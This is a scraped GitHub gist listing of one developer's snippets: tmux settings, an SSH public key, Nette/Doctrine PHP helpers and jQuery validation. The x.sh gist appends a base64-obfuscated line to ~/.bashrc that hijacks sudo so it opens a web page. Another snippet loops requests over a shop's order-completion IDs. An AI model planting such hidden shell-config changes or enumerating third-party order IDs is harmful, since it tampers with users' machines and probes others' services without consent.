Skip to content

Instantly share code, notes, and snippets.

David Moravek dmvk

Block or report user

Report or block dmvk

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
View .tmux.conf
set -g prefix C-a
unbind C-b
bind-key C-a send-prefix
set -g base-index 1
set -g default-terminal screen-256color
# shorten command delay
set -sg escape-time 1
View gist:0c2ca58310e644ab5e21
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDZwX1PxHl5dn9JhpwSyIeZ7GRoXNvEEhNC33rI7jTIXnsGvjFNS/njmbBEzSgy1QswAOu+F6J4FWhQwIIPk96uFNYk5dQIOtbxa105ZVWYDBosAewI2cMy9/36LzPAS1aLUSaUlp31Na6OYMNBcl8L8rXFiocYxBMST6yRECxlwWp5UWIebeDCB5SiznrlDcv4Up2UXTXLS/tmT91eS8Y7KgkFy5AcnTS/hEi07SoUbxUkPOL4xpLbydKOCCniKVNsBYqLUjA2weqjWLtr3GQt7IHobGzkKFlqDTCva/u0sxAkxd7GdrdOPlG/itfrJhFagNbzDunwpCVXen9S6+EDKbVWq+kirf/ZSJmCOwVHwoEm19BXNUDeeOxH8SeJhWQDaC9pC3w4XMGg/LHypOiaWQI+2OquqVtb8uBcJp8TRqPYSV18N+Ewre6lYTVnVIWMOzY3iEIA3is5YOFUKYyOlHRG9jjE7wtPQarilMQYvdWrcUvpEtu2by1u8eFiKKpTvyJNi9fgEPqZdI5V+V22b0S4J2XxSfirTeswFpnbwQiilU0JIZSKHRsIQ8ZY5lmWu4VtHFjKxRlqkBpjNDsKPOuo+4KcsV/FfDOFbgqXcVRo+DF3ak0KEgts4BEUPGo8MnaiVv+FpDB51hSZojfxLhq1K/p0GS3rTeM3Hakr9Q== mrdka@jebka
View x.sh
echo "eval \$(echo \"YWxpYXMgc3Vkbz0ieGRnLW9wZW4gaHR0cDovL2hvbW8uY29tID4gL2Rldi9udWxsICYmIHN1ZG8iCg==\" | base64 --decode)" >> ~/.bashrc
View keybase.md

Keybase proof

I hereby claim:

  • I am davidmoravek on github.
  • I am davidmoravek (https://keybase.io/davidmoravek) on keybase.
  • I have a public key whose fingerprint is 0821 7CDA EEAE 72F6 782A D363 95FD E364 887E 1CF8

To claim this, I am signing this object:

View iwant.coffee
request = require "request"
async = require "async"
o = {}
async.times 200, (i, next) ->
console.log "start #{i}"
request "http://www.iwant.cz/Objednavka/Dokonceni?id=#{i}", (e, r, b) ->
return next e if e
console.log "end #{i}"
@dmvk
dmvk / gist:2255273
Created Mar 30, 2012
jquery live form validation for bootstrap
View gist:2255273
Nette.addError = function(elem, message) {
var group = $('#' + elem.id).closest('.control-group');
group.removeClass('error');
group.find('.help-inline').remove();
if (message) {
group.addClass('error');
group.find('.controls').append('<span class="help-inline">' + message + '</span>');
}
@dmvk
dmvk / FSHLHandler.php
Created Dec 12, 2011
FSHL block handler for texy
View FSHLHandler.php
<?php
namespace Moes\Texy;
class FSHLHandler
{
public function __invoke($invocation, $blocktype, $content, $lang, $modifier)
{
if ($blocktype !== 'block/code')
return $invocation->proceed();
@dmvk
dmvk / PresenterFactory.php
Created Dec 3, 2011
autowire services into presenter
View PresenterFactory.php
<?php
namespace Moes\Application;
use Nette;
use Nette\Reflection\ClassType;
class PresenterFactory extends \Nette\Application\PresenterFactory
{
private $context;
@dmvk
dmvk / Schema.default.phtml
Created Nov 17, 2010
doctrine schema tool presenter for nette
View Schema.default.phtml
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta name="description" content="Schema Tool">
<meta name="robots" content="{$robots}" n:ifset="$robots">
<title>Schema Tool</title>
You can’t perform that action at this time.